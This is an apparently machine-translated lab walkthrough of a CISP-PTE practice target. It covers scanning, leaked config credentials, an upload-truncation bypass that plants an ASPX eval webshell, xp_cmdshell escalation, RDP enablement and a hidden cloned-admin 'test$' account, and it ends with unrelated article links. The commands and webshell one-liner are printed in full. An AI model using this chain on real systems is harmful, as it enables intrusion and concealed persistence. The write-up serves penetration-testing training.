Классический анализ стрельбища CISP-PTE (сверхподробный)
Классический анализ стрельбища CISP-PTE (сверхподробный)

Сбор информации

атакующая машина Кали: 192.168.111.146

Целевой дрон: 192.168.111.129

Настройка среды, сетевые карты настроены в режиме NAT в том же сегменте сети.

ip

Язык кода:javascript
копировать
nmap -sS 192.168.111.0/24

или

Язык кода:javascript
копировать
netdiscover -i eth0 -r 192.168.111.0/24

порт

Язык кода:javascript
копировать
nmap -A -p- -T4 192.168.111.129

1433: порт по умолчанию сервера sql.

27689: Посетите, чтобы узнать, какой сервисный порт

В системе загрузки и скачивания файлов для взлома имени пользователя и пароля использовался Burp, но взрыв не увенчался успехом.

Оглавление

На основе этого 27689порт,Сделать скан Оглавление,Посмотрите, есть ли чувствительность Оглавление

Язык кода:javascript
копировать
dirsearch -u http://192.168.111.129:27689

dirb http://192.168.111.129:27689

gobuster dir -u http://192.168.111.129:27689 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x php,txt,html

Я использую dirsearch для сканирования

Посетите: http://192.168.111.129:27689/admin/admin.aspx.

Посетите http://192.168.111.129:27689/Robots.txt.

Продолжайте посещать http://192.168.111.129:27689/web.config.bak.

Вы можете видеть, что файл был загружен. Обычно файл .bak является файлом резервной копии. Проверьте файл резервной копии и получите имя базы данных SQL-сервера FileManage, имя пользователя и пароль downsql.

Подключиться к базе данных

Получите имя пользователя admin и пароль asdadwn_d2112.

Воспользуйтесь функцией загрузки файлов

Войдите в систему загрузки и скачивания файлов. При загрузке файлов обнаружено, что разрешена загрузка только txt и jpg. Ограничения черного списка довольно строгие.

Если имя файла слишком длинное, система перехватит первые 32 символа, включая системное время, в качестве имени файла.

Думаем: если имя загружаемого файла превышает 32 символа, троянский файл будет загружаться через переполнение, см. ID55, а имя загружаемого файла будет aaaaaaaa.aspx.txt.

Язык кода:javascript
копировать
Имя файла: аааааааа.aspx.txt
内容:<%@ Page Language="Jscript"%><%eval(Request.Item["666"],"unsafe");%>

Успешно загружено

Найдите путь к файлу. Согласно сообщению об ошибке, путь к файлу — ../upfile/affix/"+fileName.

Путь к файлу: http://192.168.111.129:27689/upfile/affix/638582066907968750-aaaaaaaa.aspx.

Подключитесь к веб-шеллу: используйте муравьиный меч для подключения

Воспользуйтесь функцией загрузки файлов

С помощью вышеописанной серии операций вы можете интуитивно увидеть наличие любой уязвимости при загрузке файла.

Нажмите на имя файла, чтобы загрузить файл

Путь к файлу здесь уже известен../upfile/affix/"+fileName

http://192.168.111.129:27689/upfile/affix/636625082296562500-bbbbbbbb.aspx

Просмотрите содержимое файла и получите пароль для подключения z

Используйте муравьиный меч, чтобы связать веб-шелл

Повышение привилегий

Щелкните правой кнопкой мыши и выполните терминал whoami.

Использование sqlсервера Повышение привилегий

данные Библиотека Повышение привилегийпредпосылки:

Язык кода:javascript
копировать
1、Сервер запускает службу библиотеки данных.
2. Получите самый высокий пароль пользователя Разрешения, который
(За исключением библиотеки данных Access, другие библиотеки данных в основном существуют в библиотеке данных. Возможность привилегий)

Мы подключились к базе данных, теперь нам нужно получить логин и пароль sa.

Имя пользователя и пароль sa были найдены в резервном файле web.config.bak.2017-12-12.

Соединение sa, имя базы данных FileManage, имя пользователя sa, пароль csp-pte@sa

Использование xp_cmdshell для повышения привилегий

Сервер SQL имеет встроенный мастер системной базы данных, а xp_cmdshell находится в хранимой процедуре и расширенной хранимой процедуре. Если она содержит sys.xp_cmdshell, это означает, что целевой веб-сайт не удалил этот компонент.

Выберите базу данных, создайте новый запрос и выполните команду

Язык кода:javascript
копировать
EXEC master.dbo.xp_cmdshell 'whoam'

успех Повышение привилегий

Примечание. Если сообщение об ошибке отключено при выполнении команды, используйте команду для открытия xp_cmdshell (можно открыть только с разрешения sa).

Язык кода:javascript
копировать
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Разрешение на обслуживание

Здесь вы также можете использовать xp_cmdshell для открытия удаленного рабочего стола.,Создать нового пользователя,Делать Разрешение на обслуживание

Откройте команду 3389порт удаленного рабочего стола через реестр.

Язык кода:javascript
копировать
reg add  "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

деформация xp_cmdshell

Язык кода:javascript
копировать
EXEC master.dbo.xp_cmdshell 'reg add  "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

Проверить статус порта

Язык кода:javascript
копировать
EXEC master.dbo.xp_cmdshell 'netstat -an|find "3389"'

Добавьте теневого пользователя и присоединитесь к группе администраторов.

Язык кода:javascript
копировать
EXEC master.dbo.xp_cmdshell 'net user test$ 123456 /add'

EXEC master.dbo.xp_cmdshell 'net localgroup administrators test$ /add'

Win+R введите mstsc для подключения к удаленному рабочему столу

Введите новую теневую учетную запись и пароль.

Теневая учетная запись — это относительно скрытый пользователь в Windows.,Обычно проникает позже Разрешение на Он будет использоваться на этапе обслуживания. Теневые счета в основном используются в целях решения на При обслуживании, сначала создав учетную запись с символом $, а затем используя реестр для изменения значения внутри, администратор не может просмотреть учетную запись, созданную злоумышленником, через cmd и управление компьютером, тем самым достигая разрешения. на обслуживание。

Войти успешно

Откройте cmd и введите regedit, найдите HKEY_LOCAL_MACHINE\SAM\SAM, измените разрешения SAM, дайте администраторам полный доступ и найдите учетную запись test$ после перезапуска.

Найдите данные значения F пользователя-администратора.

Скопируйте значение данных F соответствующего элемента пользователя администратора в значение данных F соответствующего элемента пользователя test$.

Соответствующие элементы 000003F4 экспортируются и называются test.reg и 1.reg соответственно.

Удалите пользователя test$ и импортируйте test.reg и 1.reg в реестр.

Язык кода:javascript
копировать
net user test$ /del
regedit /s test.reg 
regedit /s 1.reg

В настоящее время пользователь test$ больше не отображается в группе пользователей.

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose